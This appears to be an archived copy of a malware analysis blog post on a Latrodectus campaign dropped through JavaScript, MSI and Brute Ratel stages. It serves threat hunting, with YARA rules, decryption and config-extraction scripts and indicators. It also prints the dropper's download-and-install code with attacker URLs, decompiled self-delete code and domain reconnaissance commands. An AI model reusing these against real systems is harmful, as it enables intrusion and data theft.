{
	"id": "f18da58a-e898-406f-a4b1-cbf10d049a8c",
	"created_at": "2026-04-06T00:18:51.405554Z",
	"updated_at": "2026-04-10T03:20:41.358628Z",
	"deleted_at": null,
	"sha1_hash": "774764254fd86a6a832bc19eea21fabbd22ddd33",
	"title": "Latrodectus dropped by BR4 ??????️",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2817129,
	"plain_text": "Latrodectus dropped by BR4 ️\r\nBy pbo\r\nPublished: 2024-07-31 · Archived: 2026-04-05 21:45:44 UTC\r\nThis article details the last campaign involving Latrodectus malware that is dropped by BruteRatel, some YARA\r\nand hunting pivot are also provided.\r\nContext #\r\nStarting point of the analysis is this message on X from Zscaler published on \u003c2024-06-24 Mon\u003e.\r\nStage 0 (Form_Ver-X-X-X.js) pivot #\r\nStarting from the hash of BruteRatel we found the previous stage JavaScript file. That is overwhelm of\r\ncomments. A short JavaScript function is “hidden” in the comment, the function is used to download and execute\r\nan MSI file using ActiveXObject(\"WindowsInstaller.Installer\") .\r\nfunction installFromURL() {\r\n var msiPath;\r\n try {\r\n installer = new ActiveXObject(\"WindowsInstaller.Installer\");\r\n installer.UILevel = 2;\r\n msiPath = \"http:85.208.108.]63/BST.msi\";\r\n installer.InstallProduct(msiPath);\r\n } catch (e) {\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 1 of 23\n\n}\r\n}\r\ninstallFromURL();\r\nCode Snippet 1: Form_Ver-18-13-38.js cleaned\r\nFirst pivot on the variable installer calling InstallProduct method:\r\nYou can use this YARA for instance:\r\nrule Latrodectus_JS_dropper {\r\n meta:\r\n purpose = \"hunting\"\r\n malware = \"latrodectus\"\r\n creation_date = \"2024-06-25\"\r\n description = \"JS Dropper that DL and install a BR4 MSI\"\r\n classification = \"TLP:GREEN\"\r\n strings:\r\n $s1 = \"ActiveXObject\"\r\n $s2 = \"////// installer.InstallProduct(msiPath);\"\r\n condition: all of them\r\n}\r\nCode Snippet 2: YARA hunting rule for the JS dropper\r\n\u003e content:“ActiveXObject” content:\"// installer.InstallProduct(msiPath);\"\r\nFrom the above hunting we get 25 JavaScript files:\r\nRetrieve all delivery C2:\r\nimport os\r\nurls = set()\r\nfor _, _, filenames in os.walk(path):\r\n for filename in filenames:\r\n with open(os.path.join(path, filename), \"r\") as f:\r\n raw_script = f.read()\r\n script = []\r\n for line in raw_script.split(\"\\n\"):\r\n if line.startswith(\"////\"):\r\n script.append(line.replace(\"////\", \"\"))\r\n if \"msiPath = \" in line:\r\n urls.add(line.split(\" = \")[-1].replace(\";\",\"\").replace('\"', ''))\r\nreturn \"\\n\".join(urls)\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 2 of 23\n\nCode Snippet 3: python script to retrieve delivery URLs\r\nhttp://45.95.11.217/ad.msi\r\nhttp://85.208.108.12/WSC.msi\r\nhttp://85.208.108.63/BST.msi\r\nhttp://146.19.106.236/neo.msi\r\nhttp://193.32.177.192/vpn.msi\r\nhttp://185.219.220.149/bim.msi\r\nhttp://85.208.108.12/aes256.msi\r\nTable 1: URL triage\r\nURL State\r\nhttp://146.19.106.236/neo.msi Down\r\nhttp://185.219.220.149/bim.msi Down\r\nhttp://193.32.177.192/vpn.msi UP \u003c2024-06-24 Mon\u003e\r\nhttp://45.95.11.217/ad.msi DOWN\r\nhttp://85.208.108.12/WSC.msi DOWN\r\nhttp://85.208.108.12/aes256.msi DOWN\r\nhttp://85.208.108.63/BST.msi UP \u003c2024-06-24 Mon\u003e\r\nStage1: MSI #\r\nStarting reverse from e57990d251937c5e4b27bf2240a08da37a40399bd3faa75ed67616ac3935f843 (vpn.msi\r\ndownloaded from hxxp://193.32.]177.192/vpn.msi )\r\nThe MSI install itself in the AppData directory and use a custom action to starts the malicious DLL aclui.dll\r\nby calling the exported function edit .\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 3 of 23\n\nFigure 1: MSI executing a DLL using rundll32\r\nN.B: rundll32.exe aclui.dll, edit , this is interesting to see a non standard DLL entrypoint edit\r\nThe DLL is stored in the MSI in the Files segment, which made its extraction convenient with MSIViewer.\r\nStage 2 BruteRatel: aclui.dll #\r\nSHA-256: c5dc5fd676ab5b877bc86f88485c29d9f74933f8e98a33bddc29f0f3acc5a5b9. The DLL is executed\r\nusing rundll32.exe on the export name edit.\r\nUsing unpac.me it detects a BruteRatel c4_a0 sample and returns an unpacked file that have this SHA-256 hash:\r\n0d3fd08d237f2f22574edf6baf572fa3b15281170f4d14f98433ddeda9f1c5b2\r\nThis file is the first stage of BruteRatel which can again be unpack on unpac.me with the SHA-256 hash:\r\n77a8e883db7da0b905922f7babc79f1c1b78a521b0a31f6d13922bc0603da427\r\nFrom the last stage of BruteRatel 77a8e883db7da0b905922f7babc79f1c1b78a521b0a31f6d13922bc0603da427\r\nthere is some memory pattern that are related to Latrodectus (URL with /live/ ). However at the time of writing\r\n(\u003c2024-06-25 Tue\u003e) all of the BR4 C2s are down therefore full infection leading to Latrodectus cannot be\r\nexecuted. A comprehensive and interesting article on this Brute Ratel analysis, which complements the missing\r\npart of this article, has been written by @BlueEye46572843. It was published around the same time and is\r\navailable on the ANY.RUN blog.\r\nStage 3: Latrodectus sample analysis #\r\nOverview #\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 4 of 23\n\nAs from the last stage of BR4 we cannot retrieve the Latrodectus DLL, we start analysing a sample from the same\r\ncampaign (JS-\u003eBR4-\u003eLatrodectus): SHA-256:\r\nd843d0016164e7ee6f56e65683985981fb14093ed79fde8e664b308a43ff4e79\r\nThe DLL have 4 exported functions that point to the same address:\r\nFigure 2: Latrodectus exported functions\r\nDynamic API resolution #\r\nMost of the dynamically imported functions are hashed using the CRC32 algorithm, with only two functions\r\nhashed using a different algorithm.\r\nThe malware first dynamically resolves various DLLs: kernel32.dll , Wininet.dll and ntdll.dll . Each\r\nDLL is resolved in a dedicated function, and for each function in the DLL, a structure ( api , see the definition\r\nbelow) is created and added to an array. An entry in the api_table array has the following structure:\r\n struct api {\r\n DWORD funcHash;\r\n HMODULE* hModule;\r\n LPVOID* pFunc;\r\n };\r\nCode Snippet 4: C structure of a api entry\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 5 of 23\n\nFigure 3: NTDLL api resolution\r\nThe hash are stored in the “normal” representation (crc32), according to reveng.ai article the code come from\r\nBlackLotus open source project.\r\nHere is a capture of the function used to obtain the DLL base ( _LIST_ENTRY ) of the DLL to load:\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 6 of 23\n\nFigure 4: DLL dynamic loading function\r\nstring obfusatation #\r\nLatrodectus strings are obfuscated using a custom algorithm, each string is stored under a particular structure\r\nwhich has the following shape:\r\n struct latrodectus_string {\r\n DWORD size;\r\n WORD seed;\r\n CHAR[] buff;\r\n };\r\nCode Snippet 5: Latrodectus string structure\r\nFigure 5: Obfuscated string structure\r\nThe size of the obfsucated data is the result of a XOR operation between the key (4 bytes) and the seed (2 bytes).\r\nThe malware deobfsucates the string with the function below:\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 7 of 23\n\nFigure 6: Decompiled function used to deobfuscate Latrodectus string\r\nHere is the Python script to deobfuscate strings:\r\nimport struct\r\ndef deobfuscate_string(buff: bytes) -\u003e str:\r\n key, seed = struct.unpack(\"\u003cih\", buff[:6])\r\n size = (key ^ seed) \u0026 0xFF\r\n ciphertext = buff[6 : 6 + size]\r\n cleartext = bytearray(size)\r\n for index in range(size):\r\n key += 1\r\n cleartext[index] = (key ^ ciphertext[index]) \u0026 0xFF\r\n return cleartext.decode(\"utf-16\")\r\nbuff = bytes.fromhex(\r\n \"2082130E3C826222562456265328462A462C722E5A3041325734543643385C3A3B3C0000\"\r\n)\r\nprint(deobfuscate_string(buff))\r\nCode Snippet 6: Python function to deobfuscate Latrodectus strings\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 8 of 23\n\nCustom_update\r\nHere is the IDA script to debofsucate the strings:\r\nBefore running it, I needed to decompiled the all program File\u003eProduce\u003eC file\r\nAdditionally, the malware performs a series of environment detection checks, such as counting the running\r\nprocesses. Based on the OS version, it determines a threshold range within which the number of running\r\nprocesses is considered acceptable. It also verify if the flag IsDebugged in the Process Environment Block is set\r\nin cased a debugger would be attach to the process.\r\nIt also verifies that the MAC addresses of the various interfaces have a valid size.\r\nNext, it computes a bot identifier from the volume serial number and then performs a series of multiplications\r\nwith a hardcoded constant 0x19660D . (which has the same value of the RNG multiply of LCRNG algorithm,\r\nbecause why not…).\r\nFigure 7: botid string formating\r\nA campaign or group identifier is also embedded in the obfuscated strings, this value (deobfuscated) is hashed\r\nwith FNV-1 algorithm. The current sample respond to the group ID Littlehw\r\nPersistence #\r\nTo persiste on the infected host, Latrodectus uses a scheduled task using COM base object.\r\n\u003e msdn logon trigger c++ example\r\nThe task is triggered on Logon event.\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 9 of 23\n\nFigure 8: Function that create the scheduled task using COM object\r\nHere is a way to build the CLSID from the hex data structure exported from the sample\r\nimport struct\r\ndef bytes_to_clsid(byte_data):\r\n if len(byte_data) != 16:\r\n raise ValueError(\"A CLSID must be 16 bytes long\")\r\n # Unpack bytes according to CLSID structure\r\n part1, part2, part3, part4_and_part5 = struct.unpack('\u003cIHH8s', byte_data[:16])\r\n # Split part4_and_part5 into two parts\r\n part4 = part4_and_part5[:2]\r\n part5 = part4_and_part5[2:8]\r\n part6 = byte_data[8:16]\r\n # Format the CLSID\r\n clsid = f'{{{part1:08X}-{part2:04X}-{part3:04X}-{part4.hex().upper()}-{part5.hex().upper()}{part6.hex().uppe\r\n print(clsid)\r\n# Example usage\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 10 of 23\n\nbyte_data = bytes.fromhex(\"C7A4AB2FA94D1340969720CC3FD40F85\")\r\nbytes_to_clsid(byte_data)\r\nCode Snippet 8: Python function to format from hex representation the CLSID\r\n{2FABA4C7-4DA9-4013-9697-20CC3FD40F85969720CC3FD40F85}\r\nThis CLSID correspond to the TaskScheduler, I made a script that gather various CLISD retrieved from wine\r\nproject. More information on how to extract this CLSID in this note and the full script is available here.\r\nDefense evasion #\r\nTo hid itself, Latrodectus uses Alternate Data Stream as explain in reveng.ai blogpost  The code was borrowed from\r\nbyt3bl33d3r/OffensiveNim github repository.\r\nreveng.ai citation\r\nThe C code used for the self delete is the following one:\r\n__int64 self_delete_withADS()\r\n{\r\n char v1[8]; // [rsp+40h] [rbp-D8h] BYREF\r\n HANDLE FileW; // [rsp+48h] [rbp-D0h]\r\n int *buff; // [rsp+50h] [rbp-C8h]\r\n unsigned __int64 v4; // [rsp+58h] [rbp-C0h]\r\n unsigned __int64 buff_size; // [rsp+60h] [rbp-B8h]\r\n int *v6; // [rsp+68h] [rbp-B0h]\r\n __int16 *v7; // [rsp+70h] [rbp-A8h]\r\n WCHAR *__attribute__((__org_arrdim(0,0))) v8; // [rsp+78h] [rbp-A0h]\r\n __int16 a2[76]; // [rsp+80h] [rbp-98h] BYREF\r\n if ( !self_filepath )\r\n return 0xFFFFFFFFi64;\r\n FileW = CreateFileW(self_filepath, DELETE, 0, 0i64, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0i64);\r\n if ( FileW == INVALID_HANDLE_VALUE )\r\n return 0xFFFFFFFFi64;\r\n deobfuscate_string(\u0026byte_18000FA18, a2); // :wtfbbq\\x00\r\n v7 = a2;\r\n v8 = a2;\r\n v4 = 2i64 * whar::get_length(a2);\r\n buff_size = v4 + 24;\r\n buff = allocate_memory_rwx(v4 + 24);\r\n if ( !buff )\r\n return 0xFFFFFFFFi64;\r\n zero_mem_0(buff, buff_size);\r\n v6 = buff;\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 11 of 23\n\nbuff[4] = v4;\r\n qmemcpy(v6 + 5, v8, v4);\r\n if ( SetFileInformationByHandle(FileW, FileRenameInfo, v6, buff_size) )\r\n {\r\n nt_free_mem(buff);\r\n CloseHandle(FileW);\r\n FileW = CreateFileW(self_filepath, DELETE, 0, 0i64, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0i64);\r\n if ( FileW == INVALID_HANDLE_VALUE )\r\n {\r\n return 0xFFFFFFFFi64;\r\n }\r\n else\r\n {\r\n v1[0] = 0;\r\n zero_mem_0(v1, 1ui64);\r\n v1[0] = 1;\r\n if ( SetFileInformationByHandle(FileW, FileDispositionInfo, v1, 1u) )\r\n {\r\n CloseHandle(FileW);\r\n return 0i64;\r\n }\r\n else\r\n {\r\n return 0xFFFFFFFFi64;\r\n }\r\n }\r\n }\r\n else\r\n {\r\n nt_free_mem(buff);\r\n return 0xFFFFFFFFi64;\r\n }\r\n}\r\nCode Snippet 9: Self delete using Alternate Data Stream\r\nCommand and Control Communication #\r\nThe malware uses this user-agent which is unique to this version (or campaign) of Latrodectus. \u003e\r\nbehavior_network:“Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)”\r\nThe malware communicate over HTTPS where the POST data are base64 encoded and its content is RC4\r\nencrypted. The RC4 key is stored obfuscated using the same obfuscation as other strings. In this sample the key is\r\n12345 …\r\nThe bot understands 4 orders: URLS , CLEARURL , COMMAND and ERROR . The list of command is provided in the\r\nTable 2. The URLS updated the list of C2 URLs and CLEARURL cleaned the C2 URLs table.\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 12 of 23\n\nCommand ID Description\r\n2 Get desktop files\r\n3 List running processes\r\n4 fingerprint host \u0026 domain\r\n12 Download and execute EXE in AppData\r\n13 Download and execute DLL in AppData\r\n14 Download and execute Shellcode\r\n15 Download and update EXE (auto-update)\r\n17 Exit process\r\n18 Run DLL in AppData ( init -zzzz files/bp.dat)\r\n19 Increase beacon interval\r\n20 Reset counter (number of sended http request)\r\nOther analysis made on this threat highlight a command ID 21 related to a stealer module, no reference to this ID\r\nhave been found in this sample. My primary hypothesis is that stealer capability is optional ¯\\_(ツ)_/¯.\r\nThe bot beacon with its C2 with POST request where the body contains the following fields:\r\ncounter : number of http request send;\r\ntype : and id (1 to 5) defining which beacon it is (sysinfo, process list, desktop files);\r\nguid : bot identifier;\r\nos : major version;\r\narch : fixed to 1 for x64 architecture (otherwise the bot exit if it is another architecture);\r\nusername : username of the running process owner;\r\ngroup : FNV-1 hash of the group ( Littlehw );\r\nver : bot version;\r\nup : a constante;\r\ndirection : C2 related information;\r\ncounter=%d\u0026type=%d\u0026guid=%s\u0026os=%d\u0026arch=%d\u0026username=%s\u0026group=%lu\u0026ver=%d.%d\u0026up=%d\u0026direction=%s .\r\nTo facilitate the decryption of the communication, here is a script to help:\r\nimport base64\r\ndef rc4(data: str, key: str) -\u003e str:\r\n \"\"\"code from OALabs \"\"\"\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 13 of 23\n\nx = 0\r\n box = list(range(256))\r\n for i in range(256):\r\n x = (x + box[i] + key[i % len(key)]) % 256\r\n box[i], box[x] = box[x], box[i]\r\n x = 0\r\n y = 0\r\n out = []\r\n for c in data:\r\n x = (x + 1) % 256\r\n y = (y + box[x]) % 256\r\n box[x], box[y] = box[y], box[x]\r\n out.append(c ^ box[(box[x] + box[y]) % 256])\r\n return bytes(out)\r\nbuff = b\"E3l9I35LXiOWKYHilDWuJoUOTU3NOyjNGnp3muFUOrabzvFw6FpoOQqdBZmsUV5E7FzXWHKgBafR6PcPckBsIB2vIhb3CZ/QHPoEO1h\r\nkey = b\"12345\"\r\nprint(rc4(base64.b64decode(buff), key).decode())\r\nCode Snippet 10: Packet decryption routine\r\nCLEARURL\r\nURLS|0|https://popfealt.one/live/\r\nURLS|1|https://ginzbargatey.tech/live/\r\nURLS|2|https://minndarespo.icu/live/\r\nCOMMAND|4|front://sysinfo.bin\r\nNB: the command: 4 , where it contains front:// the bot replace the front:// by the value of the actual C2\r\nURL.\r\nHost \u0026 Domain recon #\r\nOne of the capacity of the bot is to execute in a dedicated thread a serie of commands to fingerprint the network\r\ntopology of the infected host and on the connected domain:\r\nipconfig /all\r\nsysteminfo\r\nnltest /domain_trusts\r\nnet view /all /domain\r\nnltest /domain_trusts /all_trusts\r\nnet view /all\r\nnet group \"Domain Admins\" /domain\r\n/Node:localhost /Namespace:\\root\\SecurityCenter2 Path AntiVirusProduct Get * /Format:List\r\nnet config workstation\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 14 of 23\n\nwmic.exe /node:localhost /names\r\nwhoami /groups\r\nNB: This method is executed when the bot received the COMMAND order with the ID 0x4 , c.f: Table 2.\r\nYARA #\r\nimport \"pe\"\r\nrule latrodectus_exports : TESTING {\r\n meta:\r\n version = \"1.0\"\r\n malware = \"Latrodectus\"\r\n author = \"Sekoia.io\"\r\n description = \"detection based on the DLL exports, this is specific to the BR4 campaign\"\r\n creation_date = \"2024-07-03\"\r\n classification = \"TLP:GREEN\"\r\n condition:\r\n (pe.exports(\"stow\") or pe.exports(\"homq\") or pe.exports(\"scub\")) and pe.number_of_exports \u003e= 3 and uint1\r\n}\r\nArtefacts hunting #\r\nHost artefacts:\r\n%appdata%\\Custom_update directory with the files:\r\nupdate_data.dat (obfsucated C2 URLs);\r\nUpdate_\u003c8 random characters\u003e.dll .\r\nMutex runnung ;\r\nScheduled task named Updater .\r\nNetwork artefacts:\r\nHTTP User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) ;\r\nHTTP POST request on /live/ endpoints.\r\nLatrodectus Update #\r\nPrevious version samples:\r\n9fad77b6c9968ccf160a20fee17c3ea0d944e91eda9a3ea937027618e2f9e54e\r\n9e7fdc17150409d594eeed12705788fbc74b5c7f482a64d121395df781820f46\r\n53b0d542af077646bae5740f0b9423be9fb3c32e04623823e19f464c7290242f\r\nStrings obfuscation #\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 15 of 23\n\nIn the previous version of the malware, the string deobfuscation function used a more sophisticated aglorithm\r\nPRNG2 with have been removed in the current one…\r\nThe encoded strings always starts with 0xf5 byte due to the PRNG2 implementation:\r\nFigure 9: Example of obfsucated string in previous version\r\nBYTE *__fastcall decode_string(WORD *obfuscated_data, BYTE *buff_dest)\r\n{\r\n BYTE v3; // [rsp+20h] [rbp-18h]\r\n unsigned __int16 i; // [rsp+24h] [rbp-14h]\r\n unsigned __int16 length; // [rsp+28h] [rbp-10h]\r\n int seed; // [rsp+2Ch] [rbp-Ch]\r\n BYTE *ptr_buff_obfuscated; // [rsp+40h] [rbp+8h]\r\n seed = *(_DWORD *)obfuscated_data;\r\n length = obfuscated_data[2] ^ *obfuscated_data;\r\n ptr_buff_obfuscated = (BYTE *)(obfuscated_data + 3);\r\n for ( i = 0; i \u003c (int)length; ++i )\r\n {\r\n v3 = ptr_buff_obfuscated[i];\r\n seed = prng2(seed);\r\n buff_dest[i] = seed ^ v3;\r\n }\r\n return buff_dest;\r\n}\r\nCode Snippet 11: Previous version of the deobfuscation function\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 16 of 23\n\nAnd the PRGN2 decompiled function was:\r\n__int64 __fastcall prng2(int seed)\r\n{\r\n unsigned __int64 v1; // kr00_8\r\n unsigned int v3; // [rsp+8h] [rbp+8h]\r\n v1 = (unsigned __int64)(((((seed + 0x2E59) \u003c\u003c 31) | ((unsigned int)(seed + 0x2E59) \u003e\u003e 1)) \u003c\u003c 31) | ((((seed +\r\n v3 = ((((unsigned int)v1 | HIDWORD(v1)) ^ 0x151D) \u003e\u003e 0x1E) | (4 * ((v1 | HIDWORD(v1)) ^ 0x151D));\r\n return (v3 \u003e\u003e 31) | (2 * v3);\r\n}\r\nCode Snippet 12: PRGN2 function oldest Latrodectus version\r\nThe medium article from walmartglobaltech IcedID gets Loaded provided a Python implementation of the\r\nPRGN2 algorithm:\r\nimport struct\r\nimport binascii\r\ndef mask(a):\r\n return a \u0026 0xFFFFFFFF\r\ndef prng2(seed):\r\n temp = mask((seed + 0x2E59))\r\n temp2 = temp \u003e\u003e 1\r\n temp = mask(temp \u003c\u003c 0x1F)\r\n temp |= temp2\r\n temp2 = temp \u003e\u003e 1\r\n temp = mask(temp \u003c\u003c 0x1F)\r\n temp |= temp2\r\n temp2 = temp \u003e\u003e 2\r\n temp = mask(temp \u003c\u003c 0x1E)\r\n temp |= temp2\r\n temp ^= 0x6387\r\n temp ^= 0x769A\r\n temp2 = mask(temp \u003c\u003c 2)\r\n temp \u003e\u003e= 0x1E\r\n temp |= temp2\r\n temp2 = mask(temp \u003c\u003c 1)\r\n temp \u003e\u003e= 0x1F\r\n temp |= temp2\r\n return temp\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 17 of 23\n\ndef decode(s):\r\n (seed, l) = struct.unpack_from(\"\u003cIH\", s)\r\n l = (l ^ seed) \u0026 0xFFFF\r\n if l \u003e len(s):\r\n return b\"\"\r\n temp = bytearray(s[6 : 6 + l])\r\n for i in range(l):\r\n seed = prng2(seed)\r\n temp[i] = (temp[i] ^ seed) \u0026 0xFF\r\n return temp\r\nstring = binascii.unhexlify(\"F5788452F8781A6EEE4623114A578F9A44B3E10000\")\r\nprint(decode(string).decode())\r\nCode Snippet 13: Python implementation of Latrodectus PRGN2\r\nURLS|%d|%s\r\nThe strings obfuscation have been used by Latrodectus in its early version, however the developper removed the\r\nPRNG2 part and replace it with a seed incrementation…\r\nTTPs #\r\nAccording to 0x0d4 article the infection chain got some update, however the campaign pattern remain the same:\r\n1. Stage 0: A JavaScript Downloader is used to download a MSI from a first infrastructure;\r\n2. Stage 0: The JavaScript execute the MSI;\r\n3. Stage 1: The MSI uses a custom action to run rundll32.exe to execute the Latrodectus DLL;\r\n4. Stage 2: Latrodectus communicates with its own infrastructure;\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 18 of 23\n\nFigure 10: Previous campaign infection chain\r\nThe last campaign introduce Brute Ratel usage between the MSI and Latrodectus DLL.y\r\nFigure 11: Recent campaign infection chain introducing Brute Ratel\r\nIn the May-June update, Latrodectus operators introduced a new stage between stages 1 and 2. The threat actors\r\nuse an MSI to execute BruteRatel, which then drops Latrodectus. The primary hypothesis for the presence of\r\nBruteRatel is to detect and evade defenses before dropping the Latrodectus payload. According to the analysis of\r\nthe Latrodectus malware, there is no advanced or effective sandbox, virtual, or analysis environment detection\r\nimplemented, hence the use of BruteRatel.\r\nThe targeted configuration in the sample includes:\r\nC2 URLs\r\nRC4 key\r\nGroup (probably the affiliate name or campaign name)\r\nAll the “configuration” is obfuscated using the same technique as other strings in the malware. The structure of\r\nthe obfuscated string consists of a key (first 4 bytes) and a seed (next 2 bytes), which are the same for all\r\nobfuscated strings.\r\nTo identify what will be called a LATRODECTUS_OBFUSCATED_EGG in the extractor, we follow these steps:\r\n1. Extract the data from the .data section;\r\n2. Split the data as if it were a normal string using data.split(b\"\\x00\") ;\r\n3. Create a list containing the first 4 bytes of each split string;\r\n4. Use a Python Counter from the collections standard module to identify the starting buffer with the\r\nmost occurrences;\r\n5. Use the identified EGG to split data (obfsucated string);\r\n6. Extract data from the mathes of the EGG that contains the key and the seed, combining both with a XOR\r\noperation give the string size size = (key ^ seed) \u0026 0xff ;\r\n7. Get the obfsucated data from the above match offset and the size;\r\n8. Debfuscated each string;\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 19 of 23\n\n9. Match URL using the http first character;\r\n10. Base on all analyzed sample, the group is always place after the ERROR string (the C2 command) and the\r\nRC4 key is always after the /files/ string (used to replace some C2 response body).\r\nimport re\r\nimport struct\r\nimport pefile\r\nimport logging\r\nfrom collections import Counter\r\nfrom typing import Optional, List, Dict\r\nlogging.basicConfig()\r\nlogging.getLogger().setLevel(logging.DEBUG)\r\ndef parse_pe(pe_path: str) -\u003e bytes:\r\n \"\"\"Extract data from the .data section of the PE,\r\n returns a byte array otherwise raise ValueError\"\"\"\r\n pe: pefile.PE = pefile.PE(pe_path)\r\n data_section: Optional[pefile.SectionStructure] = None\r\n for section in pe.sections:\r\n if section.Name.startswith(b\".data\"):\r\n data_section = section\r\n if not data_section:\r\n raise ValueError(\"no .data section found\")\r\n return data_section.get_data()\r\ndef identify_latrodectus_egg_obfuscated_string(data: bytes) -\u003e re.Pattern:\r\n \"\"\"Identify the pattern at the beggining of the obfuscated strings\"\"\"\r\n # need to identifier the EGG_OBFUSCATED_STRING...\r\n patterns = []\r\n for str_data in filter(lambda x: x, data.split(b\"\\x00\")):\r\n patterns.append(str_data[:4])\r\n EGG_PATTERN = Counter(patterns).most_common(1)[0][0] # get the most common pattern\r\n if not EGG_PATTERN:\r\n raise ValueError(\"no begging string pattern found\")\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 20 of 23\n\n# note the best way to build the RE pattern...\r\n LATRODECTUS_EGG_STRING = re.compile(EGG_PATTERN + b\"(..)\")\r\n logging.debug(f\"Found an STRING EGG pattern: 0x{EGG_PATTERN.hex()}\")\r\n return LATRODECTUS_EGG_STRING\r\ndef deobfuscate_all_strings(\r\n data: bytes, LATRODECTUS_EGG_STRING: re.Pattern\r\n) -\u003e List[str]:\r\n \"\"\"\r\n Split data by the LATRODECTUS_EGG_STRING,\r\n then deobfuscated each one of them and return their\r\n string value regarding their encoding: utf-8 or utf-16\r\n \"\"\"\r\n strings: List[str] = []\r\n for match in LATRODECTUS_EGG_STRING.finditer(data):\r\n start_position = match.start() + 6\r\n key, seed = struct.unpack(\"\u003cih\", match.group())\r\n size = (key ^ seed) \u0026 0xFF\r\n ciphertext = data[start_position : start_position + size]\r\n cleartext = bytearray(size)\r\n for index in range(size):\r\n key += 1\r\n cleartext[index] = (key ^ ciphertext[index]) \u0026 0xFF\r\n if cleartext.endswith(b\"\\x00\" * 2): # wide string\r\n strings.append(cleartext.decode(\"utf-16\"))\r\n else:\r\n strings.append(cleartext.decode())\r\n return strings\r\ndef extract_configuration_from_cleartexts(strings: List[str]) -\u003e Dict:\r\n configuration = {\"C2\": [], \"rc4_key\": \"\", \"group\": \"\"}\r\n for index, value in enumerate(strings):\r\n if value == \"ERROR\\x00\":\r\n configuration[\"rc4_key\"] = strings[index + 1].replace(\"\\x00\", \"\")\r\n logging.debug(f\"rc4 key is: {configuration['rc4_key']}\")\r\n if value == \"/files/\\x00\":\r\n configuration[\"group\"] = strings[index + 1].replace(\"\\x00\", \"\")\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 21 of 23\n\nlogging.debug(f\"latrodectus group: {configuration['group']}\")\r\n if value.startswith(\"http\"):\r\n configuration[\"C2\"].append(value.replace(\"\\x00\", \"\"))\r\n logging.debug(f\"update C2: {configuration['C2']}\")\r\n logging.info(configuration)\r\n return configuration\r\ndef main(path: str) -\u003e Dict:\r\n \"\"\"take a PE path and return\r\n the Latrodectus configuration\"\"\"\r\n data = parse_pe(path)\r\n EGG_STRING = identify_latrodectus_egg_obfuscated_string(data)\r\n strings = deobfuscate_all_strings(data, EGG_STRING)\r\n configuration = extract_configuration_from_cleartexts(strings)\r\n return configuration\r\nif __name__ == \"__main__\":\r\n import sys\r\n path = sys.argv[1]\r\n try:\r\n print(main(path))\r\n except Exception as err:\r\n logging.error(f\"failed to extract configuration from {path}, error: {err}\")\r\nCode Snippet 14: Latrodectus configuration extractor\r\nExternal references #\r\nhttps://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice\r\nhttps://blog.reveng.ai/latrodectus-distribution-via-brc4/\r\nhttps://www.bitsight.com/blog/latrodectus-are-you-coming-back\r\nhttps://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ [useful for CLSID]\r\nhttps://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39 [correlation with IcedID]\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\ncyberchef com Latrodectus\r\nConclusion #\r\nEven after the large LEA operation at the beginning of 2024 (Operation Endgame), Latrodectus remains a major\r\nthreat in the cybercrime landscape. The various updates it has received are a reliable indicator that the threat actors\r\nbehind this malware are continuously improving the malware and its techniques.\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 22 of 23\n\nI hope you enjoy the read :pray:. All feedback is welcome.\r\nSource: https://blog.krakz.fr/articles/latrodectus/\r\nhttps://blog.krakz.fr/articles/latrodectus/\r\nPage 23 of 23",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://blog.krakz.fr/articles/latrodectus/"
	],
	"report_names": [
		"latrodectus"
	],
	"threat_actors": [],
	"ts_created_at": 1775434731,
	"ts_updated_at": 1775791241,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/774764254fd86a6a832bc19eea21fabbd22ddd33.pdf",
		"text": "https://archive.orkl.eu/774764254fd86a6a832bc19eea21fabbd22ddd33.txt",
		"img": "https://archive.orkl.eu/774764254fd86a6a832bc19eea21fabbd22ddd33.jpg"
	}
}